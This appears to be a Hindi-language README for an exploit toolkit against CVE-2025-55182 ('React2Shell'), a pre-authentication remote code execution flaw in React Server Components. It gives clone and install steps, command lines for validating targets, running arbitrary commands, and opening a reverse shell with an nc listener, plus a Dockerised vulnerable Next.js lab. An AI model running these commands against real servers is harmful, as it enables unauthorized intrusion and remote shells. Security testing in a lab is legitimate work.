
react2Shell Next.js RCE के माध्यम से सत्यापित करने, शोषण करने और इंटरैक्टिव शेल प्राप्त करने के लिए एक सरल टूलकिट।
[!WARNING] यह टूल केवल अधिकृत परीक्षण और शैक्षिक उद्देश्यों के लिए प्रदान किया गया है। अनधिकृत नेटवर्क एक्सेस और डेटा एक्सफ़िल्ट्रेशन अवैध है। किसी भी नेटवर्क पर इस टूल का उपयोग करने से पहले उपयोगकर्ताओं को यह सुनिश्चित करना आवश्यक है कि उनके पास उचित प्राधिकरण हो।
इस रिपॉजिटरी में CVE-2025-55182, जिसे React2Shell के नाम से भी जाना जाता है, के माध्यम से सत्यापन, शोषण और इंटरैक्टिव शेल प्राप्त करने के लिए एक सरल टूलकिट शामिल है। यह React Server Components (RSC) में एक गंभीर प्री-ऑथेंटिकेशन रिमोट कोड निष्पादन (RCE) भेद्यता है, जो संस्करण 19.0.0, 19.1.0, 19.1.1 और 19.2.0 को प्रभावित करती है।
यह भेद्यता React के Flight प्रोटोकॉल में असुरक्षित डिसीरियलाइज़ेशन के कारण उत्पन्न होती है, जो बिना प्रमाणीकरण के हमलावरों को कमजोर सर्वरों पर मनमाना कोड निष्पादित करने की अनुमति देती है। इसे 3 दिसंबर, 2025 को सार्वजनिक किया गया था और इसका CVSS स्कोर 10.0 (क्रिटिकल) है। यह मुख्य रूप से React Server Components को प्रभावित करती है, लेकिन RSC का उपयोग करने वाले Next.js जैसे फ्रेमवर्क पर भी इसका प्रभाव पड़ता है।
नोट: यह टूलकिट केवल शैक्षिक और शोध उद्देश्यों के लिए है। भेद्यताओं का अनधिकृत शोषण अवैध और अनैतिक है। जिम्मेदारी से उपयोग करें और केवल उन्हीं सिस्टम पर करें जिनके स्वामी आप हैं या जिनके परीक्षण की स्पष्ट अनुमति आपके पास है।
अधिक विवरण के लिए, आधिकारिक एडवाइज़री देखें:
requests, argparse (pip install -r requirements.txt के माध्यम से इंस्टॉल करें)git clone https://github.com/J4ck3LSyN-Gen2/CVE-2025-55182.git
cd CVE-2025-55182
python3 -m venv CVE202555182Venv
python3 -m pip install -r requirements.txt
source CVE202555182Venv/bin/activate[.fish]
git clone https://github.com/J4ck3LSyN-Gen2/CVE-2025-55182.git
cd CVE-2025-55182
pip install -r requirements.txt
मुख्य स्क्रिप्ट sploit.py है। इसे निम्नलिखित विकल्पों के साथ चलाएँ:
python sploit.py --help
--target <URL>: टारगेट URL (जैसे, http://vulnerable-site.com)।--mode <validate|sploit|shell>: ऑपरेशन मोड।
validate: बिना शोषण के भेद्यता की जाँच करें।sploit: कस्टम कमांड निष्पादित करें।shell: एक इंटरैक्टिव रिवर्स शेल स्थापित करें।--command <CMD>: निष्पादित करने के लिए कमांड (sploit मोड के लिए आवश्यक)।--lhost <IP>: रिवर्स शेल के लिए लोकल होस्ट (shell मोड के लिए आवश्यक)।--lport <PORT>: रिवर्स शेल के लिए लोकल पोर्ट (डिफ़ॉल्ट: 4444)।भेद्यता सत्यापित करें:
python sploit.py --target http://example.com --mode validate
कमांड निष्पादन के साथ शोषण:
python sploit.py --target http://example.com --mode sploit --command "whoami"
इंटरैक्टिव शेल प्राप्त करें:
सबसे पहले, एक लिसनर सेट करें (जैसे, nc -lvnp 4444), फिर:
python sploit.py --target http://example.com --mode shell --lhost 192.168.1.100 --lport 4444
गहन तकनीकी विश्लेषण के लिए:
{
"dependencies": {
"next": "14.3.0-canary.77",
"react": "19.0.0",
"react-dom": "19.0.0"
},
"scripts": {
"dev": "next dev",
"build": "next build",
"start": "next start"
}
}
rm tsconfig.json
mkdir -p app
# app/layout.tsx
cat > app/layout.tsx << 'EOF'
import "./globals.css";
export default function RootLayout({
children,
}: {
children: React.ReactNode;
}) {
return (
<html lang="en">
<body>{children}</body>
</html>
);
}
echo "/* minimal css - required by Next.js */" > app/globals.css
cat > app/page.tsx << 'EOF'
export default function Home() {
return (
<main>
<h1>react2shell lab is running!</h1>
<p>Start sploiting → /api/vulnerable-endpoint</p>
</main>
);
}
FROM node:20-alpine
WORKDIR /app
# Copy only package files first (better caching)
COPY package*.json ./
# Install dependencies with legacy peer deps (required for this old canary)
RUN npm install --legacy-peer-deps
# Copy the rest of the app
COPY . .
# Remove tsconfig.json so Next.js doesn't try to auto-install TypeScript (this was the killer)
RUN rm -f tsconfig.json
# Build the Next.js app
RUN npm run build
# Expose port
EXPOSE 3000
# Start the app
CMD ["npm", "start"]
docker build -t react2shell .
docker run -d -p 3000:3000 --name react2shell react2shell
→ http://localhost:3000आपका काम हो गया। कंटेनर <2 सेकंड में शुरू हो जाता है और प्रोटोटाइप पॉल्यूशन → RCE चेन के लिए तैयार है।वैकल्पिक वन-लाइनर कभी भी सब कुछ मिटाकर रीस्टार्ट करने के लिए:bash
docker rm -f react2shell && docker run -d -p 3000:3000 --name react2shell react2shell
खतरे की खुफिया जानकारी के लिए AWS Security ब्लॉग देखें।
यह टूल बिना किसी वारंटी के "जैसा है" प्रदान किया गया है। इस टूलकिट के कारण होने वाले किसी भी दुरुपयोग या क्षति के लिए लेखक जिम्मेदार नहीं है। भेद्यताओं का परीक्षण करने से पहले हमेशा अनुमति प्राप्त करें।
पुल रिक्वेस्ट का स्वागत है! बड़े बदलावों के लिए, कृपया पहले एक issue खोलें।
यह प्रोजेक्ट MIT लाइसेंस के तहत लाइसेंस प्राप्त है - विवरण के लिए LICENSE फ़ाइल देखें।
